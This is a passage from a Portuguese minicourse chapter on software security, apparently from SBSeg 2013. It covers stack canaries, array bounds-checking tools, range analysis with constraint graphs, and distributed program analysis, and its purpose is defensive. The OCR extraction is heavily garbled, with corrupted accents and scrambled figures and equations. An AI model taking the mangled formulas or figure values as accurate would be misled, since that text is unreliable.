endereco
crescimento enderego de crescimento crescimento de retorno ) .
crescimento
do arranjo retorno da pilha do arranjo canério da pilha

variaveis locais
variaveis locais

arranjo arranjo

Figura 3.11. A esquerda, a disposicao tradicional dos dados na pilha, que permite
a sobrescrita do endereco de retorno para que ele aponte para codigo malicioso;
a direita, a pilha apos a insercao do Canario: uma sobrescrita além dos limites do
arranjo sobrescrevera o Canario antes de sobrescrever o endereco de retorno.

ser armazenada, quando empregar um Candrio e onde disp0-lo na pilha. Esses aspectos
sdo discutidos a seguir.

Tipos de constantes. A primeira solucdo proposta previa o uso de uma constante ter-
minadora, baseando-se no fato de quer os ataques geralmente ocorrem através de ope-
ragdes sobre strings. Dessa forma, caso um atacante tente sobrescrever o Candrio
sem corrompé-lo, o comportamento esperado é que a constante terminadora seja o ultimo
dado a ser escrito e, assim, os dados sensiveis, como o endere¢o de retorno, permanegam
1ntactos.

Uma outra proposta € o uso de uma constante aleatéria que € calculada no mo-
mento de inicializa¢do do programa e armazenada numa varidavel global, armazenada de
tal forma que seja impossivel para um atacante 1é-la. Tal mecanismo dificultaria que uma
corrupcao de dados passasse ilesa num teste de verificacio de integridade do Canaério.

Finalmente, uma terceira proposta sugere a utilizacdo Candrios Aleatérios XOR.
Nesse tipo de constante, € verificado se o resultado da operagdo XOR entre o Candrio
e o dado sensivel, como o endereco de retorno, permanece inalterado. Dessa forma, a
leitura apenas do valor do Canério ndo seria suficiente para que um atacante contornasse
a defesa.

Heuristicas para emprego de Canarios. A solug¢do mais trivial para decidir-se quando
empregar o Candrio é emprega-lo em toda e qualquer funcdo. Essa solucdo, entretanto,
implica em um overhead que, embora pequeno, poderia ser menor, pois funcdes que
nunca estardo sujeitas a um Estouro de Arranjotambém passam pela verificacdo do Ca-
ndrio. Dessa forma, a comunidade de compiladores emprega algumas heuristicas para
solucionar o problema.

A heuristica mais simples para emprego de Candrios consiste em incluir um Cana-
rio em toda fun¢@o que possui um arranjo declarado localmente, ou um registro contendo
um arranjo. Na prética, muitas implementagdes reais adicionam a restricdo adicional de
o arranjo local ter um tamanho maior do que uma constante pré-definida. As razdes para
tal decisdo ndo sdo claras.

Mais recentemente, novas heuristicas foram propostas para compiladores como
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gcc? e LLVM 4. As condicdes para emprego dos Candrios passam entio a ser mais abran-
gentes e representam um compromisso entre desempenho e seguranca. Uma fung@o passa
a ser protegida com o Candrio caso:

* Ela possua um arranjo, independentemente de seu tipo e tamanho;

* Ela possua um registro que contém um arranjo, igualmente de maneira indepen-
dente de tipo e tamanho;

* Alguma de suas varidveis locais tem seu endereco tomado como parte do RHS (lado
direito) de uma atribuicao;

* Alguma de suas varidveis locais tem seu endereco tomado para ser passado como
argumento para uma funcao.

A ideia bdsica por tras dessa nova heuristica é que qualquer ataque de Estouro de
Arranjo na pilha necessita de um endereco de quadro”.

Disposicao dos dados na pilha. As primeiras implementacdes de Candrios focaram-se
em resolver um problema mais cldssico: a sobrescrita do endereco de retorno. Dessa
forma, o Candrio era posicionado entre um arranjo e o endereco de retorno. Esse tipo de
disposicdo apresentava muitas falhas, pois varidveis locais, como por exemplo o ponteiro
de quadro de pilha, permaneciam vulnerédveis a sobrescrita. Essa vulnerabilidade especi-
fica foi explorada em [Richarte et al. 2002], de forma a desviar o fluxo de execucdo de um
programa. Em compiladores mais recentes, esse problema é contornado através de uma
disposi¢do diferente dos dados, de forma que o Candrio se localize entre os arranjos € as
demais varidveis locais.

3.5.3.3. Limitacoes

Canérios ndo sdo a solugdo derradeira para os ataques de Estouro de Arranjo. Dentre suas
limitagdes, podem-se destacar:

* Limitacdo de escopo: Candrios protegem apenas contra ataques de Estouro de Ar-
ranjo que ocorram na pilha. Dessa forma, faz-se necessdria a utilizacdo de algum
mecanismo adicional de protecdo contra ataques de Estouro de Arranjo baseados
em heap.

* Momento da verificacdo: A verificacdo de integridade do Canario s6 ocorre logo
antes de a funcdo retornar. Isso significa que um atacante possui uma janela de
tempo considerdvel para agir antes de ser detectado. Além disso, caso haja um
desvio ou o disparo de uma excecdo, a verificacdo pode até mesmo nunca ocorrer.

3http://gcc.gnu.org/ml/gec-patches/2012-06/msg00974. html.
“http://lists.cs.uiuc.edu/pipermail/llvmdev/2012-October/05393 1.html.
>https://docs.google.com/document/d/1 xXBH6rRZue4f296vGt9Y QcuLVQHeES 1 6stHwt8M9xyU/.
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* Algumas varidveis locais permanecem vulneraveis a sobrescrita. Isso pode ocorrer,
por exemplo, se existem mais de um buffer declarados localmente em uma fungao;
nesse caso, um pode sobrescrever o outro. Além disso, dados dispostos em regis-
tros (structs, no caso da linguagem C), ndo podem ser rearranjados, de forma
que se um registro contém um ou mais buffers, é possivel a existéncia de uma vul-
nerabilidade sobre a qual o compilador ndo pode agir. Técnicas de compiladores
podem, todavia, ser aplicadas com o objetivo de apontar quais os trechos de codigo
sdo vulnerdveis. Uma andlise de fluxo contaminado pode determinar quais arran-
jos do programa sdo alcangdveis a partir de mecanismos de entrada, representando,
portanto, uma porta de entrada para usudrios maliciosos.

3.5.4. Verificacao de Limites de Arranjo

O padrao ISO/IEC 9899:2011 define uma escrita fora dos limites de um arranjo ou acesso
out-of-bounds como °:

uma tentativa de acesso que, em tempo de execucdo, para um dado estado
computacional, iria modificar [...] um ou mais bytes que se encontram fora
dos limites permitidos por este padrdo.

Um acesso as posi¢des antes do inicio do arranjo ou depois do seu término caracterizam,
portanto, um acesso fora de seus limites —um buffer overflow ou buffer overrun. Tais aces-
sos, possuem, como indica o mesmo padrdo, semantica indefinida. Com isso, podem, por
exemplo, abortar o programa ou continuar a execu¢ao em um estado desconhecido. Essa
ultima opg¢do € passivel de causar falhas de seguranca em software, como aconteceu com
com o Morris worm em 1988, descrito na se¢do 3.4.1. A primeira opcao, porém, garante
que um estado invdlido ou desconhecido ndo seja atingivel por meio de acessos invali-
dos a memoria. Essa € a abordagem necessdria para linguagens fortemente tipadas como
Java e C#, uma vez que o sistema de tipos poderia ser contornado caso tipos invédlidos
pudessem se referenciar. Existem ferramentas que proveem tais garantias para programas
desenvolvidos em C e C++; como estado da arte podem ser citadas SAFECode [Dhurjati
et al. 2006], AddressSanitizer [Serebryany et al. 2012] e SoftBound+CETS [Nagarakatte
et al. 2009] [Nagarakatte et al. 2010]. Essas ferramentas combinam técnicas de ané-
lise estdtica e de instrumentacdo para detectar acessos invalidos em tempo de execugao.
Cada uma usa uma metodologia diferente; elas serdo explicadas a seguir, além disso serdao
apresentadas outras abordagens para o problema dos acessos out-of-bounds.

Memoéria espelho. O AddressSanitizer usa uma memoria espelho ou shadow-memory.
Essa memoria espelha alocacdes na pilha e no heap. Quando uma posicao de memoria é
alocada nas duas ultimas, uma posicao correspondente na memdria espelho € modificada
para indicar esta alocacdo. De forma similar, quando uma posi¢do é desalocada, a me-
moria correspondente € modificada para refletir a desalocacdo. Com isso, para verificar
se uma posi¢do de memoria acessada estd alocada, basta verificar a memoria espelho. O
acesso a memoria espelho € feito em tempo constante. No AddressSanitizer, para um
posi¢do p da memoria, a posi¢ao correspondente é dada por (p << 3) + ¢, onde ¢ € um
offset constante.

btraduzido da se¢do L.2.1.
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Essa abordagem porém, ainda permite que uma indexacao invélida a uma arranjo
acesse uma posicdo de memoria alocada. No caso de dois arranjos contiguamente aloca-
dos, o acesso a uma posi¢ao além do término do primeiro acessaria o primeiro elemento
do segundo e seria erroneamente considerado vélido. Para amenizar esse problema, mas
nao corrigi-lo completamente, cada alocacio € acompanhada de zonas vermelhas (red zo-
nes), que sao posi¢des de memoria envenenadas (poisoned). Essas sdo posicoes as quais
todo acesso € considerado invdlido e sdo posicionadas em volta das zonas de alocago.
Esta solugdo, ainda assim, ndo € completa, uma vez que acessos poderiam ultrapassar
uma zona vermelha e acessar uma posi¢ao alocada de memdria.

O plugin Memcheck do Valgrind também utiliza memoria espelho. Nesse caso,
todas as escritas e leituras da memoria s@o checadas por sua validade. Chamadas para as
funcgdes de alocagdo e desalocagdo de C e C++ sdo interceptadas e a memoria espelho é
atualizada de acordo com a chamada. O Valgrind serd discutido mais adiante.

Andlise de regides . A solucio do SAFECode para o problema dos acessos out-of-

bounds € a de particionar o heap em regides (pools), utilizando um algoritmo chamado
Automatic Pool Allocation [Lattner and Adve 2005]. Cada regido contém objetos de um
tipo homogéneo e conhecido. Uma combinacdo de andlises estdticas e dinamicas sdao
utilizadas para garantir o isolamento entre as regidoes. Essa abordagem ¢é incompleta, uma
vez que quaisquer acessos a posicdes dentro da mesma regido sio validos, ainda que essa
posi¢cdo ndo seja parte do arranjo sendo indexado. De fato, a garantia que o SAFECode
d4 é que objetos correspondentes em uma points-to-graph estdo em uma mesma regiao
do heap e que o aliasing de ponteiros nao € invalidado.

Essa técnica € utilizada em algumas linguagens de programacdo. Cyclone [Jim
et al. 2002] é uma linguagem que foi inicialmente construida para evitar problemas co-
muns em programas C, mantendo, porém, sua semantica e sintaxe. Para isso, a linguagem
impde vérias restricdes quanto a aritmética de ponteiros, coer¢des € inicializacdo de va-
ridveis. Para evitar, especificamente, problemas de dangling pointers, sdo usadas técnicas
de andlise de regides e imposi¢do de restricdes no uso da funcdo free. A linguagem
também usa fat pointers para fazer a verificacdo de limites de arranjo, como descrito na
secao que segue.

Similarmente, a linguagem Control-C [Sumant Kowshik and Adve 2002], um sub-
conjunto de C, impde vdrias restricdes a esse subconjunto para que seja possivel verificar
a seguranca do codigo em tempo de compilacdo. Uma das restri¢cdes notaveis € no que
tange as alocagdes - regides sdo explicitamente alocadas ao invés de objetos.

Fat pointers. Uma outra forma de deteccao de acessos out-of-bounds € através de uma
representacdo expandida de ponteiros chamada fat pointers. Nessa representacao os meta-
dados sdo atrelados aos ponteiros associados, recordando informacgdo de alocacdo e de
tamanho dos mesmos. Tal abordagem, porém, modifica o layout de memoéria do programa
de forma a dificultar chamadas a func¢des externas, as quais poderiam levar a problemas
de corrup¢do dos metadados. A ferramenta SoftBound+CETS utiliza uma representagao
baseada em fat pointers, mas mantém os metadados disjuntos, através de mecanismos de
memoria espelho descritos acima. Com isso, o layout de memoria permanece 0 mesmo e

"Tradugio livre to termo region analysis.
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os problemas com chamadas a func¢des externas sdo reduzidos.

Abordagens puramente estaticas. Frama-C [Cuoq et al. 2012] e Astreé [Cousot et al.
2005] sao ferramentas de andlise estdtica e verificagdo formal de programas. Astreé uti-
liza técnicas de interpretacdo abstrata para verificar formalmente programas para sistemas
embarcados. Interpretacdo abstrata € uma forma de aproximar a semantica de programas
utilizando fun¢des monotdnicas sobre um conjunto ordenado, com reticulados sendo a es-
colha notdvel. Astreé é fruto do trabalho de Patrick Cousot, que formalizou as técnicas de
interpretacdo abstrata - hoje muito usada em andlises e transformagdes em compiladores.
A ferramenta se propde a provar a auséncia de erros em tempo de execucdo para pro-
gramas escritos em C. Ela analisa programas complexos, mas sem alocacao dinamica ou
recursdo. Isso engloba grande parte dos programas utilizadas em sistemas de transporte
e de energia nuclear, por exemplo. Astreé verificou a corretude de sistemas aeronduticos
utilizados em avides da Airbus e, mais recentemente, do veiculo de transferéncia auto-

matizado Jules Verne, ndo tripulado e lancado para a Estacdo Espacial Internacional em
2008.

Por outro lado, o plugin Jessie® para o Frama-C utiliza técnicas de prova de teore-
mas para propriedades arbitrarias sobre programas, especificadas por uma linguagem de
anotacdo chamada ANSI/ISO C Specification Language (ACSL). Os programas sao ano-
tados com as propriedades que se deseja verificar e o programa €, entdo, analisado para
checar se satisfaz ou ndo as dadas propriedades. A abordagem, porém, requer que o c6-
digo fonte do programa sob andlise seja modificado, tornando-se infactivel para sistemas
legados.

Abordagens dinamicas. Valgrind [Nethercote and Seward 2007] é uma ferramenta de
andlise dinamica. Ela recebe como entrada um executdvel e o converte para uma lin-
guagem intermedidria. A nova representacdo € instrumentada e convertida de volta para
codigo de miquina. Exatamente pela conversdo, retraducdo e instrumentagio, surge a
relativa ineficiéncia da ferramenta. Uma restri¢do notdvel da ferramenta € a sua incapa-
cidade de detectar erros no acesso a dados alocados na pilha, ndo detectando, portanto,
problemas de stack smashing.

A ferramenta Eletric Fence ° substitui certas fungdes da libc - a biblioteca padrdo
de C - com fungdes préprias, de forma que imediatamente apds ou antes de cada objeto
alocado, haja uma pdgina de memoria inacessivel. Com isso, sempre que ocorrer um
buffer overrun e uma posi¢do de memoria da pagina inacessivel for acessada, o overrun
serd detectado. A ferramenta, porém, sé € capaz de detectar acessos invédlidos apds ou
antes do objeto, mas nao nunca ambos. Além disso, a alocacdo extra de paginas causa um
overhead indesejavel quanto ao uso de memoria.

3.5.5. Analise de Intervalo

Uma das principais ferramentas para encontrar vulnerabilidades de estouro de arranjos e
estouro de inteiros € a andlise de intervalos. Essa andlise procura estimar, estaticamente,
quais sao os menores e maiores valores que cada varidvel inteira pode assumir durante a
execucao de um programa. Além de prestar-se a encontrar vulnerabilidades de forma au-

8http://frama-c.com/jessie.html.
“http://sunsite.unc.edu/pub/linux/devel/lang/c/electricfence-2.0.5.tar.gz.
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tomatica, a andlise de intervalos possui vdrias outras aplica¢des, em termos de otimizac¢ao
de codigo. Por exemplo, esse tipo de andlise € usado para melhorar a qualidade do cédigo
gerado por alocadores de registradores [Barik et al. 2006, Pereira and Palsberg 2008, Tal-
lam and Gupta 2003], para apurar a predi¢cao de desvios condicionais [Patterson 1995],
na sintese de hardware [Cong et al. 2005, Lhairech-Lebreton et al. 2010, Mahlke et al.
2001, Stephenson et al. 2000] e em diversas eliminagdes de cédigo redundante [Bodik
et al. 2000, Logozzo and Fahndrich 2008, Souza et al. 2011, Venet and Brat 2004]. Data
essa importancia, existem diversos algoritmos que implementam a anélise de intervalos.
Neste capitulo, abordaremos um desses algoritmos.

A figura 3.12 ilustra dois usos da andlise de intervalos no contexto da seguranca
de software. Em primeiro lugar, as informacdes produzidas por essa andlise permitem
ao compilador provar que acessos a arranjos sdo seguros. Por acesso seguro, entende-se
que as leituras e escritas de dados enderecam somente memdria legitimamente alocada
pelo programa. A andlise de intervalos poderia, também, provar a existéncia de bugs. Tal
seria 0 caso se o arranjo a fosse declarado com uma posi¢do a menos, por exemplo. Em
segundo lugar, informagdes de intervalos ddo ao compilador o conhecimento necessério
para eliminar testes de estouro de arranjos, ou provar que estouros irdo acontecer. Na fi-
gura 3.12, por exemplo, todas as operacdes aritméticas sdo seguras. Nesse novo contexto,
entende-se que uma operacao aritmética é segura quando ela nao pode levar a ocorréncia
de estouros de inteiros.

int foo() { Essas leituras no arranjo a sdo
char* a = malloc(16); sempre seguras, pois a possui 16
int k = 0; posigdes, 0<i<15e¢0<j<15
while (k < 16) {
int 1 = 0;
an.C 1= . ki , Esses incrementos nunca
while (1 < J) | podem gerar estouros de
if (alil >raljl) arranjo, pois, i <j,j<kek<15
SWAP(a, i, Jj):
it+;
j -7
S Esses decremento nunca pode
gerar estouros de arranjo, pois, j
kt+; € um inteiro com sinal, e j > 0

Figura 3.12. Exemplo que ilustra o uso de informacées produzidas pela analise
de intervalos.

3.5.6. Calculando Intervalos de Variaveis Inteiras

A literatura € rica em algoritmos que resolvem a andlise de intervalos. Neste livro adota-
remos o algoritmo proposto por Rodrigues et al. [Rodrigues et al. 2013]. Esse algoritmo
segue o fluxograma visto na figura 3.13. Conforme pode ser visto na figura, a andlise
de intervalos possui cinco grandes fases. O restante desta se¢do descreve cada uma des-
sas fases. A fim de facilitar o entendimento das explicagdes que se seguem, usaremos o
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programa mostrado na figura 3.12 para ilustrar cada um dos passos do algoritmo.

Extracéo de Construgéo Componentes Ordenacdo
~ do grafo de Fortemente L
equacoes ~ topoldgica
equagodes Contexos

Para cada Componente Forte,
em ordem topologica

Resolugéo de
futuros

> Alargamento [— —>| Estreitamento

Figura 3.13. Algoritmo para resolucao de analise de intervalos.

Extracdo de Equacoes. A andlise de intervalos é, em sua esséncia, um sistema de
Equacoes Diofantinas. Uma equacdo diofantina € uma igualdade entre expressdes cons-
tituidas por incognitas e coeficientes inteiros. Tais equacdes sdo extraidas da represen-
tacdo intermedidria do programa. A representacdo intermedidria de um programa € a
forma como o compilador enxerga aquele cédigo. Normalmente, compiladores adotam
uma representacdo de trés enderecos em formato de atribui¢do estdtica vinica (SSA) '°.
Neste caso, o programa € visto como uma sequéncia de instru¢cdes de montagem. A maior
parte dessas instrugdes tem a forma a = b @ ¢, sendo & um operador qualquer. Exis-
tem, contudo, instru¢des undrias, como a = b, que copia o conteido de b para a memoria
apontada por a. Existem também instru¢gdes de aridade varidvel, como as func¢des phi:
a= ¢(ay,...,a,), cuja semintica descreveremos a seguir. A figura 3.14 (a) mostra uma
versao simplificada de nosso programa, e sua representacdo intermedidria pode ser vista
na parte (b) da figura. Uma fung@o phi, como i; = ¢ (i, i3), copia o valor de i ou i, para
i1, dependendo de qual o caminho que o programa percorre até executd-la.

A figura 3.14 (c) mostra as equacdes que descrevem o problema de determinar
intervalos para as varidveis inteiras do programa visto na figura 3.14 (b). Cada uma des-
sas equagdes segue diretamente de uma instrucdo de montagem presente na figura 3.14
(b). Algumas igualdades, como k; = k| N [—o0,99], representam informagdes aprendidas
a partir de testes condicionais. Essa equacao, por exemplo, advém da parte verdadeira do
teste k < 100. Nesse caso, temos que a varidvel k tem seu maior valor limitado por 99.

O Grafo de Restricoes. As equagdes extraidas de um programa podem ser resolvi-
das de diversas formas. Poder-se-ia, por exemplo, resolvé-las via mecanismos gerais de

10Neste livro, adotamos o nome inglés SSA, sigla para Single Static Assignment, uma vez que ele é bem
estabelecido na comunidade de compiladores.
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@ ¢ - (b) k =0 ky = (kg k) © k, = 0
. 0 T(k, < 100)?
while k < 100: l kl = (b(kor kz)
L= 0 k, = k,N[-,99] ke =k N [7e0,99]
3=k i, =0 i, =0
while i < j: Jo = k¢ e = X,
i=1i+1 : : :
. . . i, = i,, 1
j _ j 1 ll — ¢(10, 12) Il q)(lor I2)
K =% + 1 J1 = ¢G¢r 32) Ji = ¢0r 35)
(i, <37 i, =i, +1
1 / 3o = 30 - 1
i, = i N[-=,ft(3)-11] kK, =k, + 1
j = jlﬂ[ft(i1)7+°°] _ . X .
i; _ it + 1 ky ke +1 Jo = 3. N [ft(ll), +00]
j2 = jt -1 it = il N [~oo, ft(jl)]

Figura 3.14. (a) Versao simplificada do programa visto na figura 3.13. (b) Repre-
sentacao intermediaria do programa. (c) Equacoes diofantinas que representam
a analise de intervalos.

programacdo linear inteira. Elas, contudo, podem ser resolvidas por algoritmos mais es-
pecificos, e por conseguintes, mas eficientes que a programacao linear inteira. Seguindo
a abordagem proposta por Rodrigues et al. [Rodrigues et al. 2013], explicaremos um me-
canismo de resolucdo de equacdes baseado no chamado grafo de restricoes. Esse grafo
direcionado possui um vértice para cada incognita do sistema de equagdes, € um vértice
para cada equacgdo. Ele possui uma aresta u — ¢, se a varidvel u € usada do lado direito
da equacdo c, e uma aresta ¢ — v se a varidvel v é usada do lado esquerdo de c.

A figura 3.15 mostra o grafo criado para representar as equagdes vistas na fi-
gura 3.14 (c). Note que esse grafo apresenta duas arestas pontilhadas. Essas setas sao
chamadas arestas de controle, e elas conectam varidveis que possuem futuros. Um futuro
€ uma promessa de valor ainda por conhecer. Esse tipo de construcdo existe devido a
comparacdes condicionais entre duas varidveis, como por exemplo, i < j; no programa
da figura 3.14 (b). Uma vez que o limite superior de i; depende do limite inferior de ji,
existe uma dependéncia futura entre essas variaveis. Quando o intervalo de j; for co-
nhecido, poderemos estimar o intervalo de i;. E interessante notar que essa dependéncia
futura também existe no sentido inverso: quando o intervalo de i; for conhecido, pode-
remos determinar o limite inferior do intervalo de jj. Ciclos de dependéncias como esse
sdo resolvidos em uma etapa posterior, conhecida como resolugdo de futuros, sobre a qual
falaremos mais adiante.

Uma vez construido o grafo de restri¢des, o algoritmo de resolucdo de equagdes
passa para a fase de processamento: componentes fortemente conexos sdo encontrados
no grafo, e, a partir desse ponto, passam a ser tratados como noés individuais. O grafo
que resulta da contracdo dos componentes fortemente conexos € aciclico; portanto, ele
admite ordenacao topoldgica. A seguir cada componente fortemente conexo é processado
de acordo com a sua ordem topoldgica. Nesta etapa, as arestas de controle sdo removidas
do grafo de restri¢des. Da-se o nome de micro-algoritmo a fase de processamento de cada
componente conexo.
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0 k, (0] k, +1
Ky «—[100, +50] k, [-0,99] ———— sk,

0 — 1, Jp e——

| | | | l .
1 ¢ 1o 2 ¢ J2
+T1 i oo, 601 i), 4] Ie -1

Figura 3.15. Grafo de restricoes criado para o programa visto na figura 3.14.

O Micro-Algoritmo. Cada componente conexo sofre trés andlises, que, ao final, pro-
duzem uma estimativa para o intervalo de suas varidveis. A primeira dessas andlises é
chamada alargamento. Durante a etapa de alargamento, define-se como cada varidvel
cresce. Se uma varidvel pertence a um ciclo do qual fazem parte somente operacdes de
incremento, dizemos que a varidvel cresce em direcdo a +oo. Por outro lado, se ela faz
parte de um ciclo que contém somente operacdes de decremento, entdo ela cresce em
direcdo a —eo. Doutro modo, a varidvel cresce em ambas as direcdes. A figura 3.16 (a)
mostra o maior componente conexo visto na figura 3.15. Note que arestas de controle
foram removidas. A figura 3.16 (b) mostra o resultado da anélise de alargamento aplicada
aquele componente.

(a) [0,0] ———= ¢ ¢ «—0,99] (b) [0,0] ———=¢ ¢ e—10,99]
o) /l l \ o) . , | o \
i) i1 S 3L 1] 1,[1, +] 1[0, +] J 1 [, 99] J o[-, 98]

|
[0, f6(J)-1]  [ft(l,), +oo] [-o0, ft(J))-1]  [ft(Z,), 0]

Ao iy 3L L1 +l «———1 [0, 4] J [0, 99] ————1
R T e =t T p
1,01, +o0] 110, +o0] 3 1[0, 99 J [~ 0, 98] i,[1,99] 14[0,99] 341,99 J,[-1,98]
¥ v
[-o0, 98] [0, IOO] [-0, 98] [0, +o0]
o1 [0, 4] T [-0,99] —> 1 F1——1.00.98] 300,99 —— -1

Figura 3.16. Processamento do ultimo componente fortemente conexo do grafo
de restricoes visto na figura 3.15.

Realizada a andlise de alargamento, sabe-se como cada varidvel cresce. Essa in-
formacdo permite-nos realizar a resolucdo de futuros. Nessa etapa, intervalos simbolicos,
isso é, os futuros, sdo substituidos por limites concretos. Se um futuro ft(v) aparece do
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lado esquerdo de um intervalo, e.x.: u =N [ft(v),...], entdo ft(v) é substituido pelo li-
mite superior de v. Por outro lado, se ft(v) aparece do lado direito de um intervalo, como
u=tN[...,ft(v)], entdo ft(v) é substituido pelo limite inferior de v. A figura 3.16 (c)
mostra o resultado da resolu¢do de futuros em nosso exemplo.

Finalmente, passa-se a ultima etapa do micro-algoritmo: o estreitamento de inter-
valos. Nessa fase, o resultado de testes condicionais € utilizado para refinar os resultados
encontrados para cada varidvel. Por exemplo, o valor de i;, na figura 3.16 (c) € dado por
iy = i N [—e0,98]. O limite superior de i; pode ser, portanto, no maximo 98. Porém, apés
o alargamento, tinhamos que esse limite era 4-oo. Assim, substituimos o valor daquele li-
mite superior por 98, e propagamos essa informacao para outras varidveis que dependem
de i;. Essa propagacao acontece até que todos os vértices do grafo tenham sido visitados.
A figura 3.17 mostra a solu¢do da andlise de intervalos. A mesma varidvel pode estar
associada a diferentes intervalos, dependendo do ponto em que ela exista no programa. A
figura mostra, por exemplo, os diferentes intervalos associados a variavel k.

k =20
P 4
U » while k < 100: ‘
ITk,] = [0, 01"~ T, ITi,] = [0, 0]
=0 ITi,] = [0, 99]
Itk,] = [0, 100]° P IR I1i,] = [1, 99]
i le i < - I1i,] = [0, 98]
Ik — 1, 100]. o while 1 < J: 't
teel = e L 113,] = [0, 99]
g S~o 1 =1 .
Itk ] = [0, 991" 13,1 = [-1, 99]
’ j=3-1 I13,) = (-1, 98]
ITk,] = [100, 100]..__ N k=k+1 I13.1 = [0, 99]
—-- Ta

Figura 3.17. Solucao da analise de intervalos para o exemplo visto na figura 3.14
(a). A funcao 7 mapeia um nome de variavel, na representacao intermediaria do
programa, para um intervalo. A figura explicita os diversos intervalos associados
com a variavel k.

3.5.7. Analise Distribuida

Com o advento da Internet das Coisas (Internet of Things — 10T) [Atzori et al. 2010]
e a popularizagdo dos smartphones a tendéncia é que Sistemas Embarcados tornem-se
praticamente onipresentes € conectados a Internet. A IoT pretende conectar uma enorme
diversidade de dispositivos computacionais e prover servicos com garantias de alta dispo-
nibilidade, efici€ncia e seguranca. Dessa forma, os Sistemas Embarcados terdo acesso e
poderao ser acessados via Internet além de comunicarem entre si de forma distribuida. Pa-
ralelamente a essa ubiquidade de Sistemas Embarcados — e os beneficios que ela acarreta
— surge também certa inquietagdo: como garantir a Seguranca de Software embarcados
nesses dispositivos?

A maioria das propostas de Segurancga de Software se baseia na anélise do c6digo
fonte e/ou bindrio da aplicacdo a fim de detectar operagdes que possam levar o programa
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a sofrer um ataque. Técnicas usadas variam desde andlise estdtica e instrumentagdo di-
namica de cddigo [Dietz et al. 2012, Rodrigues et al. 2013] até solucdes que procuram
gerar testes dinamicamente usando execugdo simbdlica [Molnar et al. 2009]. Tais pro-
postas, contudo, ndo levam em consideracdo as peculiaridades de sistemas distribuidos e,
portanto, suas respectivas andlises sdo conservadoras quando se deparam com chamadas
de procedimento que fazem interface com a rede.

Hé excecdes como o Kleenet [Sasnauskas et al. 2010] e o T-Check [Li and Regehr
2010] que tem por objetivo encontrar defeitos em aplica¢des de redes de sensores sem fio
que utilizem o ContikiOS (Kleenet) ou o TinyOS (T-check). Tais ferramentas utilizam
execucdo simbolica para gerar testes dindmicos a fim de avaliar os cendrios nos quais
o sistema podem apresentar algum tipo de defeito. Mas, além do foco ser em detec¢ao
de bugs e ndo em seguranga, a quantidade de caminhos a serem avaliados pode tornar a
andlise invidvel por restricdes de tempo e recursos computacionais.

Na area de sistemas distribuidos, ha trabalhos de analise de vulnerabilidades de
protocolos, incluindo model checking [Lin et al. 2009] e engenharia reversa de pro-
tocolos [Comparetti et al. 2009]. Esses trabalhos, no entanto, focam no protocolo de
comunicacao e tratam as partes comunicantes como caixas-pretas, sem examinar seu co-
digo fonte. J4 na drea de aplicacdes Web, trabalhos como [Tripp et al. 2009, Balzarotti
et al. 2008] avaliam o fluxo entre dados de entrada e seu uso em uma aplicagao Web para
detectar pontos vulnerdveis no programa. Tais trabalhos, contudo, geram muitos falsos
positivos ja que qualquer interagdo com a rede € considerada insegura.

Portanto € necessario que novas solucdes de Seguranga de Software sejam desen-
volvidas voltadas especialmente para Sistemas Embarcados Distribuidos. Mais precisa-
mente, deve-se levar em consideracao uma intensa comunicagdo via rede com dispositivos
comunicando entre si e com a Internet. A solug@o deve ser avaliada ndo apenas em ter-
mos de tempo e memoria, mas também em termos energéticos. Por fim, a solu¢do deve
ser “leve” (lightweight) o suficiente para ser executada sobre plataformas restritas.

Por exemplo, na figura 3.18 temos dois programas: Reader e Writer. O programa
Writer envia uma mensagem para o Reader inciando o protocolo (code=1, size=7 e buf-
fer=begin). O programa Reader recebe a mensagem e imprime o cédigo. Se apenas o
Reader € analisado, a maioria das ferramentas de seguranga de cédigo concluird que o
recv € um ponto de entrada vulneravel, pois um adversario poderia, via programa Wri-
ter, enviar um dado maior que o previsto pelo e sobrescrever o campo code na struct
MSG. Mas ao analisar o programa como um todo fica claro que o Writer envia apenas
dados internos e, portanto, nio representa ameaca para o sistema. Dessa forma, € possivel
evitar um falso-positivo e reduzir o nimero de instrumentagdes necessarias para tornar o
programa seguro.

3.5.7.1. Grafo de Controle de Fluxo de Sistemas Distribuidos

A andlise distribuida pode ser realizada utilizando estruturas de dados semelhantes as
propostas para sistemas convencionais. Por exemplo, muitas andlises utilizam o grafo de
controle de fluxo (CFG) como representacdo do programa a fim de verificar os possiveis
caminhos no programa. O CFG € um grafo dirigido onde os nds sao blocos basicos do

136 ©2013 SBC — Soc. Bras. de Computa¢do



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

// Reader
#include "mysocket.h"
struct msg { // Writer
char buf[MAX]; #include "mysocket.h"
char code;
int main() { int main()
int mySocket,n; {
char buf[MAX]; int mySocket;
struct msg MSG; mySocket=getServerSocket () ;
mySocket = getMySocket();
n=recv (mySocket, buf ,MAX,0) ; char buffer[]="beginl7";
MSG. code = buf[5]; send (mySocket , buffer ,7,0);
printf ("code: %c" ,MSG.code);
close (mySocket) ; close (mySocket) ;
} }
Programa Reader Programa Writer

Figura 3.18. A analise individual considera o arranjo (buf) vulneravel no Reader.
Ao analisar o todo, verifica-se um falso-positivo.

a=10;

send(a); //sl
a=20; b=recv(a); //rl
send(a); //s2 b=recv(a); //r2

Programa P1 Programa P2

Figura 3.19. Programa P1 envia valor de a para P2. Programa P2 recebe valor de
a atribui a b.

programa [Allen 1970]. Um bloco basico € uma sequéncia de instru¢des que ndo contém
desvios, s6 € possivel entrar no bloco pela primeira instrug@o e s6 € possivel sair depois
da ultima instru¢do. Ha uma aresta entre um bloco bdsico Bl e um bloco basico B2 se
o programa pode fluir de B1 para B2. Cada programa de um sistema distribuido possui
seu proprio CFG. Dessa forma, para se analisar um sistema distribuido como um todo €
necessdrio criar um CFG global do sistema.

Por exemplo, a figura 3.19 mostra o cédigo de um programa P1 que envia valor
de a para o programa P2 que recebe esse valor e o atribui a . Nao hd muito o que inferir
de possiveis valores de b se analisarmos apenas P2. Por outro lado, ao analisar os dois
programas em conjunto verifica-se que o maior valor que b pode assumir € 20.

Na figura 3.20a temos os CFGs simplificados do programa P1 e do programa P2.
Para analisar a aplicacdo como um todo € necessdrio unir os dois grafos o que resulta em
um novo CFG que representa o sistema distribuido como pode ser visto na figura 3.20b.
Agora € possivel saber que o valor » em P2 depende do valor de a que foi recebido de P1
e que esse valor variou entre 10 e 20. Dessa maneira, a andlise se torna mais precisa e
menos suscetivel a falsos positivos.

O problema passa a ser, entdo, como unir esses grafos de forma que as analises ja
existentes possam ser aplicadas. A solugdo trivial desse problema € unir todos os sends
com todos os receives. Mas nesse caso, varias arestas invalidas serfo incluidas como
